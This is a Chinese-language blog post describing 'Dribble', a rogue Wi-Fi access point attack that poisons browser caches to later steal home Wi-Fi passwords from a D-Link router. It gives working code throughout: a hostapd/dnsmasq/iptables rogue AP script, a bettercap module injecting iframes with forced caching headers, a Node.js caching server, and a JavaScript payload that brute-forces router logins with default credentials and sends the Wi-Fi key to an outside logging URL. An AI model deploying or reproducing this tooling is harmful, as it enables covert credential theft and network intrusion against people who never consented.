利用JavaScript緩存遠(yuǎn)程竊取Wi-Fi密碼的思路詳解
我一直想在這個(gè)小項(xiàng)目上花一些時(shí)間做一些研究,但是由于生活所迫讓我總是一直繁忙。現(xiàn)在我終于可以抽出一些時(shí)間了繼續(xù)研究這種攻擊技術(shù)了,我將在本文中闡述我的研究成果。
很久以前,我學(xué)習(xí)了Vivek Ramachandran講解的“無線局域網(wǎng)安全Megaprimer課程”(課程非常好,強(qiáng)烈推薦),順便說一下,在我做旅行的時(shí)候,我住的那些不同的酒店都會(huì)提供Wi-Fi。毋庸置疑,我的大腦開始變得瘋狂,因此我一直在思考獲取Wi-Fi密碼的“非常規(guī)”的方法。
Can't turn my brain off, you know. It's me.
We go into some place, and all I can do is see the angles. – Danny Ocean (Ocean's Twelve)
我即將描述的想法非常簡單,可能也不是什么新的思路了。盡管如此,對我來說這是一種有趣的方式,讓我將放在架子上一直吃灰的Raspberry Pi重新用了起來。
思路描述
我們的想法是利用網(wǎng)絡(luò)瀏覽器的緩存來竊取Wi-Fi密碼。因?yàn)槲倚枰獮轫?xiàng)目起一個(gè)名字,所以我在開發(fā)完這個(gè)項(xiàng)目后將其命名為“Dribble”:-)。Dribble 會(huì)創(chuàng)建一個(gè)虛假的Wi-Fi接入點(diǎn),并等待客戶端連接它。當(dāng)客戶端連接時(shí),dribble會(huì)攔截對JavaScript頁面執(zhí)行的每個(gè)HTTP請求,并在響應(yīng)中注入惡意JavaScript代碼。新響應(yīng)的HTTP頭也會(huì)被更改,以便惡意的JavaScript代碼被緩存并強(qiáng)制在瀏覽器中保留。當(dāng)客戶端與虛假接入點(diǎn)斷開連接并重新連接到家庭路由器時(shí),惡意JavaScript代碼將激活,從路由器竊取Wi-Fi密碼并將密碼發(fā)送給攻擊者。 很簡單,對吧?
為了達(dá)到這個(gè)攻擊目的,我必須弄清楚這三件事:
如何創(chuàng)建虛假接入點(diǎn)
- 1.如何強(qiáng)迫人們連接到這個(gè)偽造的熱點(diǎn)
- 2.惡意的JavaScript代碼應(yīng)如何從路由器竊取密碼
- 3.如何創(chuàng)建虛假的無線接入點(diǎn)
這非常簡單,偽造的方法也包含在無線局域網(wǎng)安全Megaprimer課程中,并且有許多不同的github存儲(chǔ)庫和gist上的代碼可以用來創(chuàng)建一個(gè)虛假的訪問點(diǎn)。因此,我不會(huì)過多地描述細(xì)節(jié),但為了完整起見,讓我們討論一下我使用的方法。我之前使用 hostapd 創(chuàng)建過Wi-Fi接入點(diǎn),dnsmasq 作為DHCP服務(wù)器和DNS中繼服務(wù)器,并使用 iptables 創(chuàng)建NAT網(wǎng)絡(luò)。下面的bash腳本將創(chuàng)建一個(gè)非常簡單的不受任何密碼保護(hù)的Wi-Fi訪問點(diǎn)。我在代碼中添加了一些注釋,希望能提高可讀性。
#!/bin/bash # the internet interface internet=eth0 # the wifi interface phy=wlan0 # The ESSID essid="TEST" # bring interfaces up ip link set dev $internet up ip link set dev $phy up ################## # DNSMASQ ################## echo " interface=$phy bind-interfaces # Set default gateway dhcp-option=3,10.0.0.1 # Set DNS servers to announce dhcp-option=6,10.0.0.1 dhcp-range=10.0.0.2,10.0.0.10,12h no-hosts no-resolv log-queries log-facility=/var/log/dnsmasq.log # Upstream DNS server server=8.8.8.8 server=8.8.4.4 " > tmp-dnsmasq.conf # start dnsmasq which provides DNS relaying service dnsmasq --conf-file=tmp-dnsmasq.conf ################## # IPTABLES ################## # Enable Internet connection sharing # configuring ip forwarding echo '1' > /proc/sys/net/ipv4/ip_forward # configuring NAT iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A FORWARD -i $phy -o $internet -j ACCEPT iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE ################## # HOSTAPD ################## echo "ctrl_interface=/var/run/hostapd interface=$phy # ESSID ssid=$essid driver=nl80211 auth_algs=3 channel=11 hw_mode=g # all mac addresses allowed macaddr_acl=0 wmm_enabled=0" > tmp-hotspot.conf # Start hostapd in screen hostapd echo "Start hostapd in screen hostapd" screen -dmS hostapd hostapd tmp-hotspot.conf
如何強(qiáng)迫人們連接到偽造的熱點(diǎn)
免責(zé)聲明:由于各種原因,我故意將本節(jié)的內(nèi)容留在高級別的描述中而沒有提供任何代碼。但是,如果我的方法能得到足夠多的關(guān)注并且確實(shí)有人對此感興趣,我可能會(huì)進(jìn)行更深入的討論,或許會(huì)提供一些代碼和實(shí)踐指南。
根據(jù)你的目標(biāo),可能有不同的方法嘗試讓某人連接到虛擬接入點(diǎn)。我們來討論兩種情況:
在這種情況下,目標(biāo)連接到受密碼保護(hù)的Wi-Fi,可能是攻擊者試圖訪問的受密碼保護(hù)的Wi-Fi。在這種情況下,有幾件事情要進(jìn)行嘗試,但首先讓我討論有關(guān)Wi-Fi是如何工作的內(nèi)容。深受大家喜愛的802.11標(biāo)準(zhǔn)有許多有趣的功能,其中有一個(gè)我發(fā)現(xiàn)…非常有趣。802.11定義了一個(gè)特殊的數(shù)據(jù)包,無論是加密,密碼,基礎(chǔ)設(shè)施或任何內(nèi)容,如果把這個(gè)數(shù)據(jù)包發(fā)送到客戶端則只會(huì)斷開該客戶端與接入點(diǎn)的連接。如果你發(fā)送一次,客戶端將斷開連接并立即重新連接,用戶甚至不會(huì)注意到發(fā)生了什么。但是,如果你繼續(xù)發(fā)送這種數(shù)據(jù)包,客戶端最終會(huì)放棄重新連接,也就是說,你實(shí)際上可以阻塞Wi-Fi連接,用戶可能會(huì)注意到他沒有連接到接入點(diǎn)。通過濫用此特性,你可以簡單地強(qiáng)制客戶端斷開與其連接的合法訪問點(diǎn)的網(wǎng)絡(luò)連接?;谶@一點(diǎn),可以做兩件事:
1.攻擊者可以使用與目標(biāo)連接的訪問點(diǎn)相同的ESSID創(chuàng)建虛假訪問點(diǎn),但沒有密碼。在這種情況下,攻擊者應(yīng)該希望一旦用戶意識到他沒有連接到接入點(diǎn),他就會(huì)嘗試再次手動(dòng)連接。因此,目標(biāo)將找到具有相同ESSID的兩個(gè)網(wǎng)絡(luò),需要密碼的那個(gè)會(huì)有“鎖”的圖標(biāo),而另一個(gè)不需要密碼的則沒有這個(gè)圖標(biāo)。用戶可能首先嘗試連接到帶有“鎖”圖標(biāo)的那個(gè),但這不會(huì)起作用,因?yàn)楣粽咭呀?jīng)干擾用戶連接到這個(gè)熱點(diǎn)了,并且可能他也可能嘗試沒有“鎖”圖標(biāo)的那個(gè)…畢竟它具有相同的名稱他非常想要連上網(wǎng)絡(luò)……對嗎?
2.另一個(gè)有趣的行為也可以用來強(qiáng)迫用戶連接虛假的熱點(diǎn),無論何時(shí),如果客戶端沒有連接到接入點(diǎn),那么客戶端都會(huì)不斷的發(fā)送尋找先前已知的ESSID的信標(biāo)數(shù)據(jù)包。如果目標(biāo)已連接到未受密碼保護(hù)的接入點(diǎn),并且可能是用戶自己的行為,則攻擊者可以簡單地創(chuàng)建一個(gè)虛假接入點(diǎn),與目標(biāo)訪問的未受保護(hù)接入點(diǎn)的ESSID相同即可。因此,客戶端將會(huì)愉快地連接到虛假接入點(diǎn)。
在這種情況下,目標(biāo)沒有連接到任何Wi-Fi接入點(diǎn),可能是因?yàn)槟繕?biāo)是智能手機(jī)而且目標(biāo)用戶正在街上行走。但是,有可能Wi-Fi網(wǎng)卡仍處于打開狀態(tài)且設(shè)備仍在尋找已知的Wi-Fi ESSID。再次,如前所述,目標(biāo)可能已連接到某個(gè)未受密碼保護(hù)的Wi-Fi接入點(diǎn)。因此,攻擊者可以使用目標(biāo)已連接過的接入點(diǎn)的ESSID來創(chuàng)建虛假接入點(diǎn),就像之前那樣,Wi-Fi客戶端將愉快地連接到虛假接入點(diǎn)。
創(chuàng)建并注入惡意載荷
現(xiàn)在我要說的是一個(gè)“略新”的思路(至少對我而言):弄清楚惡意JavaScript代碼應(yīng)該如何訪問路由器并竊取Wi-Fi密碼。請記住,受害者將連接到虛擬接入點(diǎn),這顯然給了攻擊者一些機(jī)會(huì),但仍有一些事情需要考慮清楚。
作為攻擊測試的目標(biāo)路由器,我使用了家用Wi-Fi路由器,特別是我的ISP免費(fèi)提供的D-Link DVA-5592。不幸的是,目前我還沒有其他可以測試的設(shè)備,所以我必須用它做好準(zhǔn)備。
我們現(xiàn)在討論的是惡意JavaScript代碼。我們的目標(biāo)是讓這些惡意代碼對路由器執(zhí)行請求,這意味著它必須對本地IP地址執(zhí)行請求。說到這里,你應(yīng)該已經(jīng)想到了諸如Same-Origin-Policy和X-Frame-Option之類的關(guān)鍵字。
同源-策略
讓我借用MDN網(wǎng)絡(luò)文檔中的定義:
同源策略是一種關(guān)鍵的安全機(jī)制,它限制了從一個(gè)源加載的文檔或腳本與來自另一個(gè)源的資源交互。它有助于隔離潛在的惡意文檔,減少可能的攻擊媒介。https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
換句話說:如果域A包含JavaScript代碼,則該JavaScript代碼只能訪問域A中的信息或域A的子域。它無法訪問域B中的信息。
X-Frame-Option
讓我再次從MDN Web文檔中借用這個(gè)字段的定義:
X-Frame-Option 是一個(gè)HTTP響應(yīng)頭可用于指示瀏覽器是否應(yīng)該允許在<frame>,<iframe>或<object>中渲染頁面。站點(diǎn)可以通過這種機(jī)制確保其內(nèi)容未嵌入到其他站點(diǎn),并且可以使用此功能來避免點(diǎn)擊劫持攻擊。
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
這非常簡單:X-Frame-Options 可用于防止頁面在iframe標(biāo)簽中加載。
那么讓我們看看我們請求D-Link登錄頁面后得到的響應(yīng):
HTTP/1.1 200 OK Date: Wed, 24 Oct 2018 16:20:21 UTC Server: HTTP Server X-Frame-Options: DENY Connection: Keep-Alive Keep-Alive: timeout=15, max=15 Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC Cache-Control: must-revalidate, private Expires: -1 Content-Language: en Content-Type: text/html Content-Length: 182 <html><head> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="refresh" content="0;url=/ui/status"> </head></html>
響應(yīng)包含X-Frame-Options并設(shè)置為了DENY(感謝上帝),這意味著如果我不能通過在iframe標(biāo)簽中渲染路由器主頁。此外,由于惡意JavaScript代碼將被注入到與路由器不同的域中,因此Same-Origin-Policy將阻止與路由器本身的任何交互。對于這些問題,我提出我所想到的一個(gè)簡單的解決方案,不過注意我的方法可能不是唯一的解決方案,思路如下:
注入兩段不同的JavaScript代碼。第一段JavaScript代碼將iframe在受感染的頁面中添加內(nèi)容。將iframe的src參數(shù)指向路由器的IP地址。如前所述,路由器的IP地址X-Frame-Options設(shè)置為DENY。因此iframe將無法加載路由器的頁面。但是,當(dāng)創(chuàng)建iframe的JavaScript代碼執(zhí)行時(shí),受害者仍然連接的是虛假訪問點(diǎn)(還記得我前面提到的優(yōu)勢點(diǎn)嗎?)。這意味著對路由器IP地址的請求將由虛假接入點(diǎn)處理……多么方便。因此,虛假接入點(diǎn)可以攔截對路由器IP地址執(zhí)行的任何請求,并通過以下網(wǎng)頁進(jìn)行響應(yīng):
1.包含第二段JavaScript代碼,這段代碼將真正執(zhí)行對真實(shí)路由器的請求
2.響應(yīng)中沒有X-Frame-Options HTTP 頭
3.響應(yīng)中包括用于緩存頁面的HTTP頭。
由于虛假接入點(diǎn)被當(dāng)成了合法的路由器,因此瀏覽器將緩存一個(gè)頁面,該域名是路由器的IP地址,從而繞過了Same-Origin-Policy和X-Frame-Options。最后,一旦受感染的客戶端回到家連接到家庭路由器時(shí):
1.第一個(gè)JavaScript代碼將添加一個(gè)iframe指向路由器的IP地址,
2.在iframe中會(huì)加載已緩存的包含了第二段惡意的JavaScript路由器主頁
3.第二段惡意JavaScript會(huì)被執(zhí)行并攻擊路由器。
第一段惡意JavaScript非常簡單,它只需附加一個(gè)iframe。第二段惡意JavaScript有點(diǎn)棘手,因?yàn)樗仨殘?zhí)行多個(gè)HTTP請求來強(qiáng)制登錄,然后訪問包含Wi-Fi密碼的頁面并將密碼發(fā)送給攻擊者。在我測試D-Link時(shí),登錄請求如下所示:
POST /ui/login HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/ui/login Content-Type: application/x-www-form-urlencoded Content-Length: 141 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh
這里的重要參數(shù)是:
1.userName這是admin(令人震驚);
2.userPwd 看起來是加密的;
3.nonce 這肯定與加密密碼有關(guān)。
查看登錄頁面的源代碼,我立即注意到了這一點(diǎn):
document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value, document.form.nonce.value);
這意味著登錄需要CryptoJS庫并從document.form.nonce.value中獲取nonce 。有了這些信息,我可以輕松地創(chuàng)建一段小的JavaScript代碼,這段代碼會(huì)用一批用戶名和密碼嘗試爆破用戶名和密碼然后登錄后臺。
進(jìn)入路由器后,我需要尋找包含Wi-Fi密碼的頁面。D-Link DVA-5592中的當(dāng)前固件會(huì)在用戶登錄到儀表板頁面后立即以明文顯示W(wǎng)i-Fi密碼(哦,我的天吶)。
此時(shí)我需要做的就是訪問頁面的HTML源碼,獲取Wi-Fi密碼并將其發(fā)送到某個(gè)地方進(jìn)行保存?,F(xiàn)在讓我們深入研究為D-Link量身定制的JavaScript惡意代碼。
// this is CryptoJS, a bit annoying to have it here var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a= this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>>2]|=(d[b>>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>>2]=d[b>>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a= l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}}),o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b= a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create(); this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()}, reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a},blockSize:16,_createHelper:function(a){return function(b,d){return a.create(d).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return g.HMAC.create(a,d).finalize(b)}}});var g=e.algo={};return e}(Math); (function(h){var i=CryptoJS,e=i.lib,f=e.WordArray,e=e.Hasher,l=i.algo,k=[],o=[];(function(){function e(a){for(var b=h.sqrt(a),d=2;d<=b;d++)if(!(a%d))return!1;return!0}function f(a){return 4294967296*(a-(a|0))|0}for(var b=2,g=0;64>g;)e(b)&&(8>g&&(k[g]=f(h.pow(b,0.5))),o[g]=f(h.pow(b,1/3)),g++),b++})();var m=[],l=l.SHA256=e.extend({_doReset:function(){this._hash=f.create(k.slice(0))},_doProcessBlock:function(e,f){for(var b=this._hash.words,g=b[0],a=b[1],j=b[2],d=b[3],c=b[4],h=b[5],l=b[6],k=b[7],n=0;64> n;n++){if(16>n)m[n]=e[f+n]|0;else{var i=m[n-15],p=m[n-2];m[n]=((i<<25|i>>>7)^(i<<14|i>>>18)^i>>>3)+m[n-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+m[n-16]}i=k+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&h^~c&l)+o[n]+m[n];p=((g<<30|g>>>2)^(g<<19|g>>>13)^(g<<10|g>>>22))+(g&a^g&j^a&j);k=l;l=h;h=c;c=d+i|0;d=j;j=a;a=g;g=i+p|0}b[0]=b[0]+g|0;b[1]=b[1]+a|0;b[2]=b[2]+j|0;b[3]=b[3]+d|0;b[4]=b[4]+c|0;b[5]=b[5]+h|0;b[6]=b[6]+l|0;b[7]=b[7]+k|0},_doFinalize:function(){var e=this._data,f=e.words,b=8*this._nDataBytes, g=8*e.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+64>>>9<<4)+15]=b;e.sigBytes=4*f.length;this._process()}});i.SHA256=e._createHelper(l);i.HmacSHA256=e._createHmacHelper(l)})(Math); (function(){var h=CryptoJS,i=h.enc.Utf8;h.algo.HMAC=h.lib.Base.extend({init:function(e,f){e=this._hasher=e.create();"string"==typeof f&&(f=i.parse(f));var h=e.blockSize,k=4*h;f.sigBytes>k&&(f=e.finalize(f));for(var o=this._oKey=f.clone(),m=this._iKey=f.clone(),q=o.words,r=m.words,b=0;b<h;b++)q[b]^=1549556828,r[b]^=909522486;o.sigBytes=m.sigBytes=k;this.reset()},reset:function(){var e=this._hasher;e.reset();e.update(this._iKey)},update:function(e){this._hasher.update(e);return this},finalize:function(e){var f= this._hasher,e=f.finalize(e);f.reset();return f.finalize(this._oKey.clone().concat(e))}})})(); // check if this is a D-Link // This is a safe check that I put so that the payload won't try to attack something // that is not a D-Link, the check could definetly be improbed but given that I // only have this D-Link we will have to make it due ... for now var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://192.168.1.1/ui/login', true); xhr.setRequestHeader("hydra","true"); xhr.onload = function () { if(this.response.includes("D-LINK")){ console.log("d-link"); dlinkStart(); } }; xhr.responseType = 'text' xhr.send(null); // The main function that starts the attack function dlinkStart(){ // List of possible usernames var usernames = ["administrator","Administrator","admin","Admin"]; // List of possible passwords var passwords = ["password","admin","1234","","pwd"]; // the array containing usernames and passwords comination var combos = []; var i = 0; // combines all possibile usernames and passwords and put it into combos for(var i = 0; i < usernames.length; i++) { for(var j = 0; j < passwords.length; j++) { combos.push({"user":usernames[i],"pwd":passwords[j]}) } } function dlinkAttacker(user, passwd) { // first request to get the nonce var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://192.168.1.1/ui/login', true); xhr.onload = function () { if (this.readyState == XMLHttpRequest.DONE && this.status == 200) { // the current username to test var username = user // the current password to test var pwd = passwd // the nonce extracted from the web page var nonce = xhr.response.form.nonce.value // the password encrypted with nonce var encPwd = CryptoJS.HmacSHA256(pwd, nonce) // let's try to log in var xhr2 = new XMLHttpRequest(); xhr2.open('POST', 'http://192.168.1.1/ui/login', true); //Send the proper header information along with the request xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr2.onload = function () { if (this.readyState == XMLHttpRequest.DONE && this.status == 200) { try { // the comination usernamepassword was corrent, let's get the Wi-Fi password var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML // WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :-) var xhr3 = new XMLHttpRequest(); xhr3.open('GET','https://rhaidiz.net/projects/dribble/dribble_logger.php?pwd'+wlanPsk); xhr3.send( null ); } catch (e) { // Wrong password, let's try a different combination i++ dlinkAttacker(combos[i].user, combos[i].pwd) } } } // the body of the login request var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' + encPwd + '&nonce=' + nonce xhr2.responseType = 'document' xhr2.send(params); } }; xhr.responseType = 'document' xhr.send(null); } // Start the attack from the first combination of usernamepassword dlinkAttacker(combos[i].user, combos[i].pwd) }
嵌入這段代碼的頁面應(yīng)該緩存在客戶端的瀏覽器中,并根據(jù)路由器的IP地址發(fā)送。現(xiàn)在讓我們暫時(shí)把這些代碼放一邊,讓我們討論一下緩存這段代碼的網(wǎng)絡(luò)配置。
正如我剛才所說,上面的JavaScript代碼將緩存為來自路由器的IP地址,并將加載到由另一段JavaScript創(chuàng)建的iframe中,第一段JavaScript代碼是我在客戶端每次請求JavaScript的時(shí)候在每個(gè)頁面中注入的。要完成攔截和注入,我使用了bettercap。Bettercap允許創(chuàng)建HTTP代理模塊,可用于對HTTP代理進(jìn)行編程并告訴它如何操作。例如,可以在將響應(yīng)傳遞給客戶端之前攔截響應(yīng),并決定注入什么,何時(shí)注入以及如何注入。因此,我在JavaScript中創(chuàng)建了一個(gè)簡單的代碼,它在bettercap中加載并執(zhí)行注入。
// list of common router's IP .. which definitely requires improvement var routers = ["192.168.1.1", "192.168.0.1"] // this function is called when the response is // received and can be sent back to the client function onResponse(req, res) { // inject only responses containing JavaScript if(res.ContentType.indexOf('application/javascript') == 0 ){ console.log("caching"); console.log(req.Hostname) var body = res.ReadBody(); // set caching header res.SetHeader("Cache-Control","max-age=86400"); res.SetHeader("Content-Type","text/html"); res.SetHeader("Cache-Control","public, max-age=99936000"); res.SetHeader("Expires","Wed, 2 Nov 2050 10:00:00 GMT"); res.SetHeader("Last-Modified","Wed, 2 Nov 1988 10:00:00 GMT"); res.SetHeader("Access-Control-Allow-Origin:","*"); // set payload var payload = "document.addEventListener("DOMContentLoaded", function(event){n"; for(var i=0; i < routers.length; i++){ payload = payload + "var ifrm = document.createElement('iframe');nifrm.setAttribute('src', 'http://"+routers[i]+"');ifrm.style.width = '640px';ifrm.style.height = '480px';ndocument.body.appendChild(ifrm);n"; } payload = payload + "});"; res.Body = body + payload; } }
有一點(diǎn)值得注意的是,上面的代碼中,JavaScript有效載荷會(huì)嘗試為routers數(shù)組中的每個(gè)IP 加載一個(gè)iframe。這是因?yàn)榧彝ヂ酚善鞯腎P可能配置有所不同。這意味著Raspberry必須響應(yīng)不同子網(wǎng)上的不同IP。為此,我只需向Raspberry的無線接口添加更多IP就行了。這樣,無論加載iframe的代碼何時(shí)執(zhí)行,都會(huì)對公共路由器的IP地址執(zhí)行請求,并且Raspberry的無線接口可以偽裝成路由器,響應(yīng)這些請求并緩存我想要的任何內(nèi)容。
最后,我需要在Raspberry上搭建一個(gè)Web服務(wù)器,它可以監(jiān)聽無線接口并緩存攻擊路由器的JavaScript代碼。我先用Nginx做了一些測試,以確保這個(gè)想法有效,但最后我選擇了Node.JS,主要是因?yàn)槲疫€沒有使用過Node.JS的HTTP服務(wù)器。
var http = require("http"); var routers = ["192.168.0.1/","192.168.1.1/","192.168.1.90/"] var fs = require('fs'); // load the index web page var index = fs.readFileSync("./www/index.html"); // load the JavaScript file, which might be more than one // when support for other router is implemented var jsob = fs.readdirSync('./www/js'); var repobj = {} for (var i in jsob){ // placing a / at the beginning is a bit of a lazy move repobj["/"+jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]); } var server = http.createServer(function(request, response) { var url = request.headers.host + request.url; console.log('Request: ' + url); console.log("REQUEST URL" + request.url); console.log(request.headers); var headers = { "Content-Type": "text/html", "Server": "dribble", "Cache-Control": "public, max-age=99936000", "Expires": "Wed, 2 Nov 2050 10:00:00 GMT", "Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT", "Access-Control-Allow-Origin": "*" }; // Cache the index page if (routers.includes(url)) { console.log("cache until the end of time"); response.writeHead(200, headers); response.write(index); response.end(); return; } // cache the JavaScript payload else if (repobj[request.url]){ console.log("cache JS until the end of time"); headers["Content-Type"] = "application/javascript"; response.writeHead(200, headers); response.write(repobj[request.url]); response.end(); return; } }); // listen on port 80 server.listen(80);
讓我們測試一下效果……!
我自己已經(jīng)做了一些攻擊測試,但我想在更真實(shí)的環(huán)境中進(jìn)行測試。但是,我不能在沒有別人同意的情況下對任何人進(jìn)行攻擊嘗試,所以首先我需要一個(gè)愿意參與這個(gè)小實(shí)驗(yàn)的受害者……所以我問我的女朋友。談話是這樣的:
太好了,既然我已經(jīng)有了一個(gè)心甘情愿地決定參加這個(gè)小實(shí)驗(yàn)的受害者,那么是時(shí)候開始攻擊并引誘她的iPhone 6連接到我的虛假接入點(diǎn)了。因此,我創(chuàng)建了一個(gè)和她之前訪問過的某個(gè)WiFi一樣的ESSID的虛假接入點(diǎn),我知道她之前已經(jīng)訪問過(是的,受害者的情報(bào)也很有用,哈哈)的熱點(diǎn),很快她的iPhone連接到了我的虛擬接入點(diǎn)。
我讓她在仍然連接到虛擬接入點(diǎn)的同時(shí)瀏覽網(wǎng)頁并耐心地等待她進(jìn)入一個(gè)只支持HTTP的網(wǎng)站。
He waded out into the shallows,
and he waited there three days
and three nights,
till all manner of sea creatures
came acclimated to his presence.
And on the fourth morning, …
Mr. Gibbs (Pirates of the Caribbean: The Curse of the Black Pearl)
最后,bettercap閃爍顯示并打印出已經(jīng)注入的東西,這意味著我不需要讓她連接到我的接入點(diǎn)了。
因此,我關(guān)閉了我的接入點(diǎn),導(dǎo)致她的手機(jī)漫游到我們的家庭Wi-Fi熱點(diǎn),并且由于她仍在瀏覽該網(wǎng)站,注入的惡意JavaScript代碼已經(jīng)執(zhí)行完了,并將我家的Wi-Fi密碼直接發(fā)送到了我的PHP頁面。
總結(jié)
整個(gè)攻擊過程用到的代碼都可以在我的github上找到,這些代碼肯定還需要改進(jìn),還應(yīng)添加對新路由器的支持。如果我有機(jī)會(huì)測試其他的網(wǎng)絡(luò)設(shè)備,我將會(huì)把它們添加到Git存儲(chǔ)庫中。各位,玩得開心……
相關(guān)文章
JS 中實(shí)現(xiàn)一個(gè)串型異步函數(shù)隊(duì)列
這篇文章主要介紹了JS 中實(shí)現(xiàn)一個(gè)串型異步函數(shù)隊(duì)列,文章通過async/await 串型請求展開詳情,具有一定的參考價(jià)值,需要的朋友可以參考一下2022-07-07Listloading.js移動(dòng)端上拉下拉刷新組件
這篇文章主要介紹了Listloading.js移動(dòng)端上拉下拉刷新組件的相關(guān)資料,非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友可以參考下2016-08-08javascript中call apply 的應(yīng)用場景
call, apply都屬于Function.prototype的一個(gè)方法,它是JavaScript引擎內(nèi)在實(shí)現(xiàn)的,因?yàn)閷儆贔unction.prototype,所以每個(gè)Function對象實(shí)例,也就是每個(gè)方法都有call, apply屬性.2015-04-04JS使用AudioContext實(shí)現(xiàn)音頻流實(shí)時(shí)播放
這篇文章主要為大家詳細(xì)介紹了JavaScript如何使用AudioContext實(shí)現(xiàn)音頻流實(shí)時(shí)播放功能,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下2024-01-01uni-app禁用返回按鈕/返回鍵的具體實(shí)現(xiàn)
今天在使用uni-app開發(fā)登錄頁面時(shí)遇到一個(gè)需求,需要禁用返回按鈕,下面這篇文章主要給大家介紹了關(guān)于uni-app禁用返回按鈕/返回鍵的具體實(shí)現(xiàn),需要的朋友可以參考下2022-11-11